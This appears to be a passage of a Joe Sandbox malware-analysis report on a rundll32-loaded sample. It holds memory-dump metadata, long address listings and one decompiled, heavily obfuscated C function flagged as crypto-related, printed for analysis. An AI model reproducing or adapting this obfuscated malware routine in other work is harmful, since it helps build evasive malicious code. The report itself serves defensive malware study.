                                                                          0x00125a17
                                                                          0x00125a1d
                                                                          0x00125a1d
                                                                          0x00125aea
                                                                          0x00125af8
                                                                          0x00125afb
                                                                          0x00125b01
                                                                          0x00125b0b
                                                                          0x00125b0e
                                                                          0x00125b17
                                                                          0x00125b1a
                                                                          0x00125b23
                                                                          0x00125b26
                                                                          0x00125b35
                                                                          0x00125b3a
                                                                          0x00125b3e
                                                                          0x00125b41
                                                                          0x00125b43
                                                                          0x00125b44
                                                                          0x00125b4f
                                                                          0x00125b51
                                                                          0x00125b56
                                                                          0x00125b58
                                                                          0x00125b5f
                                                                          0x00125b63
                                                                          0x00125b66
                                                                          0x00125b6c
                                                                          0x00125b73
                                                                          0x00125b76
                                                                          0x00125b76
                                                                          0x00125b7d
                                                                          0x00125b83
                                                                          0x00125b8e
                                                                          0x00125b92
                                                                          0x00125b93
                                                                          0x00125b9c
                                                                          0x00125b9f
                                                                          0x00125ba5
                                                                          0x00125baf
                                                                          0x00125bb2
                                                                          0x00125bbe
                                                                          0x00125bc5
                                                                          0x00125bcb
                                                                          0x00125bcc
                                                                          0x00125bda
                                                                          0x00125bde
                                                                          0x00125be1
                                                                          0x00125be4
                                                                          0x00125beb
                                                                          0x00125bee
                                                                          0x00125bf1
                                                                          0x00125bf7
                                                                          0x00125bfe
                                                                          0x00125c01
                                                                          0x00125c07
                                                                          0x00125c0f
                                                                          0x00125c16
                                                                          0x00125c1c
                                                                          0x00125c28
                                                                          0x00125c2b
                                                                          0x00125c35
                                                                          0x00125c38
                                                                          0x00125c3e
                                                                          0x00125c48
                                                                          0x00125c4b
                                                                          0x00125c52
                                                                          0x00125c56
                                                                          0x00125c59
                                                                          0x00125c65
                                                                          0x00125c6c
                                                                          0x00125c72
                                                                          0x00125c73
                                                                          0x00125c79
                                                                          0x00125c83
                                                                          0x00125c86
                                                                          0x00125c8c
                                                                          0x00125c96
                                                                          0x00125c99
                                                                          0x00125c9f
                                                                          0x00125ca9
                                                                          0x00125cac
                                                                          0x00125cb2
                                                                          0x00125cbc
                                                                          0x00125cbf
                                                                          0x00125ccb
                                                                          0x00125cce
                                                                          0x00125cd5
                                                                          0x00125cd8
                                                                          0x00125cdb
                                                                          0x00125cde
                                                                          0x00125cdf
                                                                          0x00125ce0
                                                                          0x00125cef
                                                                          0x00125cf1
                                                                          0x00125cf6
                                                                          0x00125cf8
                                                                          0x00125cff
                                                                          0x00125d03
                                                                          0x00125d06
                                                                          0x00125d0c
                                                                          0x00125d16
                                                                          0x00125d19
                                                                          0x00125d25
                                                                          0x00125d2c
                                                                          0x00125d32
                                                                          0x00125d32
                                                                          0x00125d3c
                                                                          0x00125d40
                                                                          0x00125d43
                                                                          0x00125d48
                                                                          0x00125d52
                                                                          0x00125d55
                                                                          0x00125d5c
                                                                          0x00125d5e
                                                                          0x00125d61
                                                                          0x00125d68
                                                                          0x00125d6f
                                                                          0x00125d74
                                                                          0x00125d77
                                                                          0x00125d7a
                                                                          0x00125d7d
                                                                          0x00125d7e
                                                                          0x00125d85
                                                                          0x00125d88
                                                                          0x00125d8b
                                                                          0x00125d8e
                                                                          0x00125d91
                                                                          0x00125d92
                                                                          0x00125da4
                                                                          0x00125da6
                                                                          0x00125daa
                                                                          0x00125314
                                                                          0x00000000
                                                                          0x0012531a
                                                                          0x0012531a
                                                                          0x00125320
                                                                          0x0012532a
                                                                          0x0012532d
                                                                          0x00125333
                                                                          0x0012533a
                                                                          0x00125343
                                                                          0x00125346
                                                                          0x00125349
                                                                          0x0012534c
                                                                          0x0012534d
                                                                          0x00125356
                                                                          0x00125359
                                                                          0x00125365
                                                                          0x0012536c
                                                                          0x00125372
                                                                          0x00125372
                                                                          0x00125445
                                                                          0x00125445
                                                                          0x00125448
                                                                          0x0012544f
                                                                          0x00125452
                                                                          0x00125455
                                                                          0x0012545d
                                                                          0x00125464
                                                                          0x0012546a
                                                                          0x0012546b
                                                                          0x0012546e
                                                                          0x00125477
                                                                          0x0012547a
                                                                          0x00125480
                                                                          0x00125487
                                                                          0x0012548a
                                                                          0x00125491
                                                                          0x00125495
                                                                          0x00125498
                                                                          0x001254a0
                                                                          0x001254a3
                                                                          0x001254aa
                                                                          0x001254ad
                                                                          0x001254b0
                                                                          0x001254b3
                                                                          0x001254b4
                                                                          0x001254b5
                                                                          0x001254c4
                                                                          0x001254c6
                                                                          0x001254cb
                                                                          0x001254cd
                                                                          0x001254d6
                                                                          0x001254d9
                                                                          0x001254df
                                                                          0x001254e6
                                                                          0x001254e9
                                                                          0x001254e9
                                                                          0x001254ef
                                                                          0x001254f7
                                                                          0x001254fe
                                                                          0x00125504
                                                                          0x00125507
                                                                          0x00125515
                                                                          0x00125519
                                                                          0x0012551d
                                                                          0x00125520
                                                                          0x00125527
                                                                          0x0012552b
                                                                          0x0012552e
                                                                          0x00125535
                                                                          0x00125539
                                                                          0x0012553c
                                                                          0x00125542
                                                                          0x0012554a
                                                                          0x00125551
                                                                          0x00125557
                                                                          0x0012555a
                                                                          0x00125562
                                                                          0x00125565
                                                                          0x00125568
                                                                          0x0012556b
                                                                          0x0012556e
                                                                          0x0012556f
                                                                          0x00125576
                                                                          0x00125579
                                                                          0x0012557c
                                                                          0x00125582
                                                                          0x0012558c
                                                                          0x00125595
                                                                          0x00125596
                                                                          0x00125599
                                                                          0x0012559c
                                                                          0x001255a2
                                                                          0x001255a5
                                                                          0x001255a8
                                                                          0x001255ab
                                                                          0x001255ad
                                                                          0x001255b1
                                                                          0x001255b4
                                                                          0x001255bb
                                                                          0x001255be
                                                                          0x001255c1
                                                                          0x001255c7
                                                                          0x001255cf
                                                                          0x001255d6
                                                                          0x001255dc
                                                                          0x001255e8
                                                                          0x001255eb
                                                                          0x001255ed
                                                                          0x001255f0
                                                                          0x001255f1
                                                                          0x001255fb
                                                                          0x001255fe
                                                                          0x00125607
                                                                          0x0012560a
                                                                          0x00125611
                                                                          0x00125614
                                                                          0x00125617
                                                                          0x0012561d
                                                                          0x00125624
                                                                          0x00125627
                                                                          0x0012562f
                                                                          0x00125632
                                                                          0x00125635
                                                                          0x0012563c
                                                                          0x0012563d
                                                                          0x00125640
                                                                          0x0012564e
                                                                          0x00125650
                                                                          0x00125653
                                                                          0x00125655
                                                                          0x0012565b
                                                                          0x00125662
                                                                          0x00125665
                                                                          0x0012566b
                                                                          0x00125675
                                                                          0x00125678
                                                                          0x0012567e
                                                                          0x00125685
                                                                          0x0012568b
                                                                          0x0012568b
                                                                          0x00125694
                                                                          0x0012569c
                                                                          0x001256a0
                                                                          0x001256a4
                                                                          0x001256a6
                                                                          0x001256a8
                                                                          0x001256ac
                                                                          0x001256af
                                                                          0x001256b8
                                                                          0x001256bb
                                                                          0x001256c2
                                                                          0x001256c6
                                                                          0x001256c9
                                                                          0x001256cf
                                                                          0x001256d6
                                                                          0x001256dc
                                                                          0x001256e1
                                                                          0x001256e4
                                                                          0x001256e8
                                                                          0x001256eb
                                                                          0x001256ee
                                                                          0x001256f4
                                                                          0x001256fe
                                                                          0x00125701
                                                                          0x00125707
                                                                          0x0012570f
                                                                          0x00125716
                                                                          0x0012571f
                                                                          0x00125725
                                                                          0x0012572f
                                                                          0x00125732
                                                                          0x00125738
                                                                          0x00125742
                                                                          0x00125745
                                                                          0x0012574b
                                                                          0x00125753
                                                                          0x0012575a
                                                                          0x00125760
                                                                          0x0012576c
                                                                          0x0012576f
                                                                          0x00125777
                                                                          0x0012577b
                                                                          0x0012577e
                                                                          0x00125781
                                                                          0x0012578a
                                                                          0x0012578d
                                                                          0x00125794
                                                                          0x00125797
                                                                          0x0012579a
                                                                          0x001257a0
                                                                          0x001257a7
                                                                          0x001257ad
                                                                          0x00000000
                                                                          0x001257ad
                                                                          0x00125dbb
                                                                          0x00125dbe
                                                                          0x00125dd0
                                                                          0x00125dd0
                                                                          0x00125441

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 86a651931a01c3be3bd58236517675960697cf91adc10e4db860c8d0544b250d
                                                                          • Instruction ID: 4708d7266e6b51a574934421d7464f1a0fa9015f9dcf44a3034ce756875cf3b0
                                                                          • Opcode Fuzzy Hash: 86a651931a01c3be3bd58236517675960697cf91adc10e4db860c8d0544b250d
                                                                          • Instruction Fuzzy Hash: 87724272844219DFEF04DFA0C989BEEBBF1FF08311F15486ED889AA145D7341664CB6A
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 001231B3, Relevance: .6, Instructions: 646COMMONCrypto
                                                                          Download Yara Rule
                                                                          C-Code - Quality: 91%
                                                                          			E001231B3(signed int __ebx, signed int __edx, signed int __edi, void* __esi, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t312;
				void* _t314;
				signed int _t315;
				signed int _t318;
				signed int _t321;
				void* _t323;
				void* _t327;
				void* _t331;
				void* _t333;
				void* _t334;
				signed int _t335;
				signed int _t337;
				void* _t339;
				void* _t340;
				signed int _t345;
				signed int _t348;
				void* _t350;
				void* _t351;
				signed int _t355;
				void* _t357;
				intOrPtr _t358;
				signed int _t359;
				signed int _t361;
				signed int _t365;
				signed int _t371;
				signed int _t373;
				void* _t378;
				void* _t380;
				signed int _t383;
				signed int _t386;
				intOrPtr _t390;
				signed int _t396;
				signed int _t398;
				signed int _t402;
				signed int _t405;
				void* _t408;
				void* _t410;
				signed int _t416;
				intOrPtr _t421;
				signed int _t426;
				intOrPtr _t429;
				intOrPtr _t434;
				signed int _t437;
				void* _t442;
				void* _t444;
				signed int _t446;
				signed int _t448;
				signed int _t450;
				signed int _t452;
				signed int _t454;
				signed int _t457;
				signed int _t463;
				signed int _t465;
				signed int _t468;
				signed int _t473;
				signed int _t480;
				signed int _t483;
				signed int _t486;
				signed int _t487;
				signed int _t488;
				signed int _t500;
				signed int _t502;
				signed int _t505;
				signed int _t507;
				signed int _t510;
				void* _t514;
				signed int _t516;
				signed int _t519;
				signed int _t522;
				signed int _t525;
				signed int _t531;
				signed int _t534;
				signed int _t537;
				signed int _t540;
				void* _t541;
				signed int _t543;
				signed int _t546;
				void* _t553;
				signed int _t555;
				signed int _t557;
				signed int _t560;
				signed int _t563;
				signed int _t566;
				void* _t570;
				signed int _t573;
				void* _t574;
				signed int _t576;
				signed int _t579;
				signed int* _t580;
				signed int* _t581;
				signed int* _t582;
				signed int* _t583;
				signed int* _t584;
				signed int* _t585;
				signed int* _t586;
				signed int* _t587;
				signed int* _t588;
				signed int* _t589;
				signed int* _t590;
				signed int* _t591;
				signed int* _t592;
				signed int* _t593;
				signed int* _t594;
				signed int* _t596;

				_t531 = __edi;
				_t500 = __edx;
				_t437 = __ebx;
				_t1 = _t437 + 0x41c972; // 0x41c972
				_push(_v16);
				 *_t580 = _t1;
				_t312 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(_t573);
				 *_t580 =  *_t580 - _t573;
				 *_t580 = _t312;
				_t4 = _t437 + 0x41c726; // 0x41c726
				_v12 = 0;
				_push(_v12);
				 *_t580 =  *_t580 | _t4;
				_t314 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_t446 =  *_t580;
				_t581 =  &(_t580[1]);
				 *_t581 =  *_t581 + __esi;
				_t553 = _t314;
				_t315 = _t553 + _t446;
				_t555 = 0;
				_v16 = _t315;
				_t448 = _t446 & 0x00000000 | _t315 & 0x00000000 |  *(__ebx + 0x41c68d);
				_t318 = _v16;
				if(_t448 > _t318) {
					_t11 = _t437 + 0x41c972; // 0x41c972
					_v16 = 0;
					_push(_v16);
					 *_t581 =  *_t581 | _t11;
					_t14 = _t437 + 0x41c726; // 0x41c726
					_push(_t573);
					 *_t581 =  *_t581 - _t573;
					 *_t581 =  *_t581 ^ _t14;
					_t318 =  *((intOrPtr*)(__ebx + 0x41f064))();
				}
				_v12 = _t531;
				 *(_t437 + 0x41c3b5) =  *(_t437 + 0x41c3b5) & 0x00000000;
				 *(_t437 + 0x41c3b5) =  *(_t437 + 0x41c3b5) | _t531 & 0x00000000 ^ _t318;
				_t534 = _v12;
				_t22 = _t437 + 0x41d2f2; // 0x41d2f2
				 *_t581 =  *_t581 & 0x00000000;
				 *_t581 =  *_t581 + _t22;
				_t23 = _t437 + 0x41d08b; // 0x41d08b
				_v12 = _v12 & 0x00000000;
				 *_t581 =  *_t581 | _t23;
				_t321 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _t500);
				 *_t581 =  *_t581 & 0x00000000;
				 *_t581 =  *_t581 | _t321;
				_t28 = _t437 + 0x41c1f0; // 0x41c1f0
				 *_t581 =  *_t581 & 0x00000000;
				 *_t581 =  *_t581 | _t28;
				_t323 =  *((intOrPtr*)(_t437 + 0x41f060))(_t555);
				 *_t30 = _t448;
				 *_t581 =  *_t581 | _t573;
				_t574 = _t323;
				_t576 = 0;
				 *_t581 = _t574 + _v8;
				_t450 =  *(_t437 + 0x41c529);
				_t327 = 0;
				if(_t450 > _t327) {
					_t33 = _t437 + 0x41d08b; // 0x41d08b
					 *_t581 =  *_t581 ^ _t500;
					 *_t581 =  *_t581 ^ _t33;
					_t34 = _t437 + 0x41c1f0; // 0x41c1f0
					_v16 = 0;
					 *_t581 =  *_t581 | _t34;
					_t434 =  *((intOrPtr*)(_t437 + 0x41f064))(_v16, _t500);
					_v16 = _t450;
					 *((intOrPtr*)(_t437 + 0x41cd05)) = _t434;
					_t450 = _v16;
				}
				_t582 = _t581 - 0xfffffffc;
				 *_t582 =  *_t582 ^ _t576;
				 *_t582 =  *_t582 +  *_t581;
				_t41 = _t437 + 0x41d1b0; // 0x41d1b0
				 *_t582 =  *_t582 & 0x00000000;
				 *_t582 =  *_t582 + _t41;
				_t331 =  *((intOrPtr*)(_t437 + 0x41f060))(_t576, _t576);
				 *_t582 =  *_t582 & 0x00000000;
				 *_t582 =  *_t582 + _t331;
				_t43 = _t437 + 0x41c2f3; // 0x41c2f3
				 *_t582 =  *_t582 ^ _t555;
				 *_t582 =  *_t582 ^ _t43;
				_t333 =  *((intOrPtr*)(_t437 + 0x41f060))(_t555, _t500);
				_t452 = _t450 & 0x00000000 ^  *_t582;
				_t583 =  &(_t582[1]);
				 *_t45 = _t333;
				_v8 = _v8 + _t452;
				_push(_v8);
				_pop(_t334);
				_t502 = _t500;
				_v16 = _t502;
				_t454 = _t452 & 0x00000000 | _t502 & 0x00000000 |  *(_t437 + 0x41c51d);
				_t505 = _v16;
				if(_t454 > _t334) {
					_t52 = _t437 + 0x41d1b0; // 0x41d1b0
					 *_t583 =  *_t583 & 0x00000000;
					 *_t583 =  *_t583 ^ _t52;
					_t53 = _t437 + 0x41c2f3; // 0x41c2f3
					 *_t583 =  *_t583 - _t454;
					 *_t583 = _t53;
					_t334 =  *((intOrPtr*)(_t437 + 0x41f064))(_t454, _t505);
				}
				 *_t55 = _t334;
				_push(_v16);
				_pop( *_t57);
				_t335 =  *((intOrPtr*)(_t437 + 0x41f060))();
				_v16 = _v16 & 0x00000000;
				 *_t583 =  *_t583 ^ _t335;
				_t62 = _t437 + 0x41c0f2; // 0x41c0f2
				 *_t583 =  *_t583 - _t505;
				 *_t583 = _t62;
				_t337 =  *((intOrPtr*)(_t437 + 0x41f060))(_t505, _v16);
				 *_t583 = _t337;
				_t65 = _t437 + 0x41cfb1; // 0x41cfb1
				 *_t583 = _t65;
				_t339 =  *((intOrPtr*)(_t437 + 0x41f060))(_v8, _v16);
				_t584 = _t583 - 0xfffffffc;
				 *_t68 = _t339;
				_v16 = _v16 + (_t454 & 0x00000000 |  *_t583);
				_push(_v16);
				_pop(_t340);
				_t557 = _t555;
				_v8 = _t557;
				_t457 = 0 ^  *(_t437 + 0x41cba2);
				_t560 = _v8;
				if(_t457 > _t340) {
					_t75 = _t437 + 0x41c0f2; // 0x41c0f2
					_v16 = _v16 & 0x00000000;
					 *_t584 =  *_t584 ^ _t75;
					_t79 = _t437 + 0x41cfb1; // 0x41cfb1
					_v8 = _v8 & 0x00000000;
					 *_t584 =  *_t584 ^ _t79;
					_t429 =  *((intOrPtr*)(_t437 + 0x41f064))(_v8, _v16);
					_v8 = _t505;
					 *((intOrPtr*)(_t437 + 0x41cbd5)) = _t429;
					_t505 = _v8;
				}
				_pop( *_t87);
				 *_t584 =  *_t584 - _t534;
				 *_t584 =  *_t584 ^ 0 ^ _v8;
				_t89 = _t437 + 0x41cdc3; // 0x41cdc3
				_v8 = 0;
				 *_t584 =  *_t584 + _t89;
				_t92 = _t437 + 0x41c7d0; // 0x41c7d0
				_v16 = 0;
				 *_t584 =  *_t584 | _t92;
				_t345 =  *((intOrPtr*)(_t437 + 0x41f068))(_v16, _v8, _t534);
				_v12 = _t457;
				 *(_t437 + 0x41cb83) =  *(_t437 + 0x41cb83) & 0x00000000;
				 *(_t437 + 0x41cb83) =  *(_t437 + 0x41cb83) ^ (_t457 - _v12 | _t345);
				_t103 = _t437 + 0x41d16f; // 0x41d16f
				_v16 = _v16 & 0x00000000;
				 *_t584 =  *_t584 ^ _t103;
				_t107 = _t437 + 0x41cd88; // 0x41cd88
				 *_t584 =  *_t584 & 0x00000000;
				 *_t584 =  *_t584 ^ _t107;
				_t348 =  *((intOrPtr*)(_t437 + 0x41f060))(_t505, _v16);
				_v16 = _v16 & 0x00000000;
				 *_t584 =  *_t584 ^ _t348;
				_t112 = _t437 + 0x41d272; // 0x41d272
				 *_t584 =  *_t584 & 0x00000000;
				 *_t584 =  *_t584 ^ _t112;
				_t350 =  *((intOrPtr*)(_t437 + 0x41f060))(_t437, _v16);
				_t585 = _t584 - 0xfffffffc;
				 *_t114 = _t350;
				_v16 = _v16 + (_v12 & 0x00000000) +  *_t584;
				_push(_v16);
				_pop(_t351);
				_t507 = _t505;
				 *_t585 = _t507;
				_t463 =  *(_t437 + 0x41c389);
				_t510 = 0;
				if(_t463 > _t351) {
					_t119 = _t437 + 0x41cd88; // 0x41cd88
					 *_t585 =  *_t585 & 0x00000000;
					 *_t585 =  *_t585 ^ _t119;
					_t120 = _t437 + 0x41d272; // 0x41d272
					 *_t585 =  *_t585 & 0x00000000;
					 *_t585 =  *_t585 ^ _t120;
					_t426 =  *((intOrPtr*)(_t437 + 0x41f064))(_t560, _t463);
					 *(_t437 + 0x41cc5a) =  *(_t437 + 0x41cc5a) & 0x00000000;
					 *(_t437 + 0x41cc5a) =  *(_t437 + 0x41cc5a) | _t463 & 0x00000000 | _t426;
					_t463 = _t463;
				}
				_t586 = _t585 - 0xfffffffc;
				 *_t586 = 0 ^  *_t585;
				_t127 = _t437 + 0x41cb2c; // 0x41cb2c
				 *_t586 =  *_t586 ^ _t437;
				 *_t586 =  *_t586 | _t127;
				_t355 =  *((intOrPtr*)(_t437 + 0x41f060))(_t437, _v16);
				_v8 = 0;
				 *_t586 =  *_t586 ^ _t355;
				_t131 = _t437 + 0x41ca15; // 0x41ca15
				_v12 = _v12 & 0x00000000;
				 *_t586 =  *_t586 | _t131;
				_t357 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v8);
				_t465 =  *_t586;
				_t587 = _t586 - 0xfffffffc;
				_v8 = _t534;
				_push(_t465 + _t357);
				_t537 = _v8;
				_pop(_t358);
				_t540 = _t537;
				if((_t465 & 0x00000000 | _t537 & 0x00000000 ^  *(_t437 + 0x41c82d)) > _t358) {
					_t139 = _t437 + 0x41cb2c; // 0x41cb2c
					_v16 = _v16 & 0x00000000;
					 *_t587 =  *_t587 + _t139;
					_t143 = _t437 + 0x41ca15; // 0x41ca15
					 *_t587 =  *_t587 & 0x00000000;
					 *_t587 =  *_t587 + _t143;
					_t358 =  *((intOrPtr*)(_t437 + 0x41f064))(_t560, _v16);
				}
				_v12 = _t560;
				 *((intOrPtr*)(_t437 + 0x41c92d)) = _t358;
				_t563 = _v12;
				_t359 =  *((intOrPtr*)(_t437 + 0x41f060))();
				 *_t587 =  *_t587 & 0x00000000;
				 *_t587 =  *_t587 | _t359;
				_t149 = _t437 + 0x41c69d; // 0x41c69d
				_v16 = 0;
				 *_t587 =  *_t587 | _t149;
				_t361 =  *((intOrPtr*)(_t437 + 0x41f060))(_v16, _t563);
				_v12 = _t510;
				 *(_t437 + 0x41ccdd) =  *(_t437 + 0x41ccdd) & 0x00000000;
				 *(_t437 + 0x41ccdd) =  *(_t437 + 0x41ccdd) | _t510 - _v12 | _t361;
				_t588 =  &(_t587[1]);
				_pop( *_t160);
				_t468 = _v16;
				 *_t588 = (_t361 & 0x00000000) +  *_t587;
				 *_t588 = _t468;
				_t164 = _t437 + 0x41c2d3; // 0x41c2d3
				_v16 = _v16 & 0x00000000;
				 *_t588 =  *_t588 | _t164;
				_t365 =  *((intOrPtr*)(_t437 + 0x41f060))(_v16, _v12, _v8);
				_v12 = _t468;
				 *(_t437 + 0x41d1f2) = _t365;
				_pop( *_t172);
				_t473 = _v12 & 0x00000000 | _v8;
				_pop( *_t174);
				 *_t588 = _v12;
				_push(_t365 & 0x00000000 ^ _v16);
				_pop(_t514);
				_t516 = 0;
				_v8 = 0;
				 *_t588 =  *_t588 | _t514 + _t473;
				_t178 = _t437 + 0x41d35c; // 0x41d35c
				 *_t588 = _t178;
				_t180 = _t437 + 0x41cffa; // 0x41cffa
				 *_t588 =  *_t588 ^ _t576;
				 *_t588 = _t180;
				_t371 =  *((intOrPtr*)(_t437 + 0x41f068))(_t576, _v12, _v8);
				_v12 = _t516;
				 *(_t437 + 0x41c7e6) =  *(_t437 + 0x41c7e6) & 0x00000000;
				 *(_t437 + 0x41c7e6) =  *(_t437 + 0x41c7e6) | _t516 - _v12 | _t371;
				_t519 = _v12;
				_t373 = 0 ^  *_t588;
				_t589 =  &(_t588[1]);
				_v8 = _t373;
				_v12 = 0;
				 *_t589 =  *_t589 + _v8;
				 *_t589 = _t473 & 0x00000000 ^ (_t373 - _v8 |  *(_t437 + 0x41d1e6));
				_t196 = _t437 + 0x41c887; // 0x41c887
				 *_t589 = _t196;
				_t378 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v8, _v12);
				_v12 = _v12 & 0x00000000;
				 *_t589 =  *_t589 + _t378;
				_t202 = _t437 + 0x41c411; // 0x41c411
				_v16 = 0;
				 *_t589 =  *_t589 + _t202;
				_t380 =  *((intOrPtr*)(_t437 + 0x41f060))(_v16, _v12);
				_t590 = _t589 - 0xfffffffc;
				 *_t590 =  *_t590 ^ _t540;
				_t541 = _t380;
				_t543 = 0;
				_v12 = _t563;
				_t566 = _v12;
				if((0 ^  *(_t437 + 0x41c39d)) > _t541 +  *_t589) {
					_t209 = _t437 + 0x41c887; // 0x41c887
					 *_t590 =  *_t590 & 0x00000000;
					 *_t590 =  *_t590 | _t209;
					_t210 = _t437 + 0x41c411; // 0x41c411
					_v12 = _v12 & 0x00000000;
					 *_t590 =  *_t590 | _t210;
					_t421 =  *((intOrPtr*)(_t437 + 0x41f064))(_v12, _t576);
					 *_t590 = _t543;
					 *((intOrPtr*)(_t437 + 0x41c9b5)) = _t421;
					_t543 = 0;
				}
				_t480 = 0 ^  *_t590;
				_t591 =  &(_t590[1]);
				_t383 =  *_t591;
				_t592 =  &(_t591[1]);
				if(_t480 > _t383) {
					_t216 = _t437 + 0x41d2f2; // 0x41d2f2
					_v16 = _v16 & 0x00000000;
					 *_t592 =  *_t592 ^ _t216;
					_t220 = _t437 + 0x41d16f; // 0x41d16f
					_v16 = 0;
					 *_t592 =  *_t592 ^ _t220;
					_t383 =  *((intOrPtr*)(_t437 + 0x41f064))(_v16, _v16);
				}
				 *_t592 = _t576;
				 *(_t437 + 0x41c0d6) = 0 ^ _t383;
				_t579 = 0;
				_v12 = _v12 & 0x00000000;
				 *_t592 =  *_t592 | _t566;
				_t228 = _t437 + 0x41cd35; // 0x41cd35
				 *_t592 =  *_t592 ^ _t480;
				 *_t592 =  *_t592 + _t228;
				_t229 = _t437 + 0x41ca62; // 0x41ca62
				_v16 = 0;
				 *_t592 =  *_t592 + _t229;
				_t386 =  *((intOrPtr*)(_t437 + 0x41f068))(_v16, _t480, _v12);
				_v16 = _t543;
				 *(_t437 + 0x41cb3a) =  *(_t437 + 0x41cb3a) & 0x00000000;
				 *(_t437 + 0x41cb3a) =  *(_t437 + 0x41cb3a) ^ (_t543 - _v16 | _t386);
				_t546 = _v16;
				_t483 = _t480;
				_v12 = 0;
				 *_t592 =  *_t592 | _t386 & 0x00000000 ^ (_t480 & 0x00000000 | _a4);
				_t243 = _t437 + 0x41c84c; // 0x41c84c
				_v12 = _v12 & 0x00000000;
				 *_t592 =  *_t592 | _t243;
				_t390 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v12);
				_v16 = _t519;
				 *((intOrPtr*)(_t437 + 0x41d2c7)) = _t390;
				_t522 = _v16;
				_t593 = _t592 - 0xfffffffc;
				 *_t593 =  *_t593 - _t437;
				 *_t593 =  *_t592 - 1;
				_t251 = _t437 + 0x41ceef; // 0x41ceef
				_v16 = 0;
				 *_t593 =  *_t593 | _t251;
				_t254 = _t437 + 0x41c9c8; // 0x41c9c8
				 *_t593 =  *_t593 - _t522;
				 *_t593 = _t254;
				_t396 =  *((intOrPtr*)(_t437 + 0x41f068))(_t522, _v16, _t437);
				_v16 = _t522;
				 *(_t437 + 0x41d00d) =  *(_t437 + 0x41d00d) & 0x00000000;
				 *(_t437 + 0x41d00d) =  *(_t437 + 0x41d00d) | _t522 ^ _v16 | _t396;
				_t525 = _v16;
				_t398 =  *_t593;
				_t594 = _t593 - 0xfffffffc;
				if(_t398 > 0) {
					if(_a12 != 0) {
						_t402 = _t398;
						 *_t301 = _t483 & 0x00000000 | _t398 ^  *_t594 ^ _a12;
						_v12 = _v12 + _t402;
						_push(_v12);
						_pop(_t486);
						_t570 = _t566;
						 *_t594 =  *_t594 ^ _t486;
						_t487 = _t437;
						_t488 = _t487 & _a8;
						 *_t306 = _t570;
						_v8 = _v8 + _t488;
						_push(_v8);
						_pop(_t566);
						_t437 = _t437;
						 *_t594 =  *_t594 & 0x00000000;
						 *_t594 =  *_t594 + _t566;
						 *_t594 =  *_t594 ^ _t579;
						 *_t594 =  *_t594 ^ _t488;
						 *_t594 = _t402;
						_t398 = E001231B3(_t437, _t525, _t546, _t566, _v16, _t579, _t488);
					}
					_push(_t437);
					return _t398 ^ _t398;
				} else {
					 *_t594 =  *_t594 & 0x00000000;
					 *_t594 =  *_t594 | _t398;
					_t263 = _t437 + 0x41cfc3; // 0x41cfc3
					_v16 = _v16 & 0x00000000;
					 *_t594 =  *_t594 ^ _t263;
					_t267 = _t437 + 0x41c769; // 0x41c769
					 *_t594 =  *_t594 & 0x00000000;
					 *_t594 =  *_t594 ^ _t267;
					_t405 =  *((intOrPtr*)(_t437 + 0x41f068))(_v16, _t483);
					_v16 = _t483;
					 *(_t437 + 0x41d0ea) =  *(_t437 + 0x41d0ea) & 0x00000000;
					 *(_t437 + 0x41d0ea) =  *(_t437 + 0x41d0ea) ^ (_t483 & 0x00000000 | _t405);
					 *_t275 = _t525;
					_t596 = _t594 - 0xfffffffc;
					 *_t596 =  *_t596 - _t437;
					 *_t596 =  *_t596 | _v16;
					_t277 = _t437 + 0x41cd95; // 0x41cd95
					 *_t596 =  *_t596 ^ _t525;
					 *_t596 = _t277;
					_t408 =  *((intOrPtr*)(_t437 + 0x41f060))(_t525, _t437);
					 *_t596 =  *_t596 & 0x00000000;
					 *_t596 =  *_t596 + _t408;
					_t279 = _t437 + 0x41cbf8; // 0x41cbf8
					 *_t596 = _t279;
					_t410 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v16);
					_pop( *_t282);
					 *_t596 = _t437;
					_t442 = _t410;
					_t444 = 0;
					_push(_t546);
					if((0 + _v12 & 0x00000000 ^ (_t546 ^  *_t596 |  *(_t444 + 0x41c691))) > _t442 + 0 + _v12) {
						_t285 = _t444 + 0x41cd95; // 0x41cd95
						 *_t596 = _t285;
						_t287 = _t444 + 0x41cbf8; // 0x41cbf8
						_v12 = _v12 & 0x00000000;
						 *_t596 =  *_t596 | _t287;
						_t416 =  *((intOrPtr*)(_t444 + 0x41f064))(_v12, _v16);
						_v8 = _t525;
						 *(_t444 + 0x41d309) =  *(_t444 + 0x41d309) & 0x00000000;
						 *(_t444 + 0x41d309) =  *(_t444 + 0x41d309) | _t525 ^ _v8 | _t416;
					}
					return  *_t596;
				}
			}














































































































                                                                          0x001231b3
                                                                          0x001231b3
                                                                          0x001231b3
                                                                          0x001231b9
                                                                          0x001231bf
                                                                          0x001231c2
                                                                          0x001231c5
                                                                          0x001231cb
                                                                          0x001231cc
                                                                          0x001231cf
                                                                          0x001231d2
                                                                          0x001231d8
                                                                          0x001231df
                                                                          0x001231e2
                                                                          0x001231e5
                                                                          0x001231ed
                                                                          0x001231f0
                                                                          0x001231f5
                                                                          0x001231f9
                                                                          0x001231fc
                                                                          0x001231fe
                                                                          0x001231ff
                                                                          0x0012320e
                                                                          0x00123210
                                                                          0x00123215
                                                                          0x00123217
                                                                          0x0012321d
                                                                          0x00123224
                                                                          0x00123227
                                                                          0x0012322a
                                                                          0x00123230
                                                                          0x00123231
                                                                          0x00123234
                                                                          0x00123237
                                                                          0x00123237
                                                                          0x0012323d
                                                                          0x00123245
                                                                          0x0012324c
                                                                          0x00123252
                                                                          0x00123255
                                                                          0x0012325c
                                                                          0x00123260
                                                                          0x00123263
                                                                          0x00123269
                                                                          0x00123270
                                                                          0x00123273
                                                                          0x0012327a
                                                                          0x0012327e
                                                                          0x00123281
                                                                          0x00123288
                                                                          0x0012328c
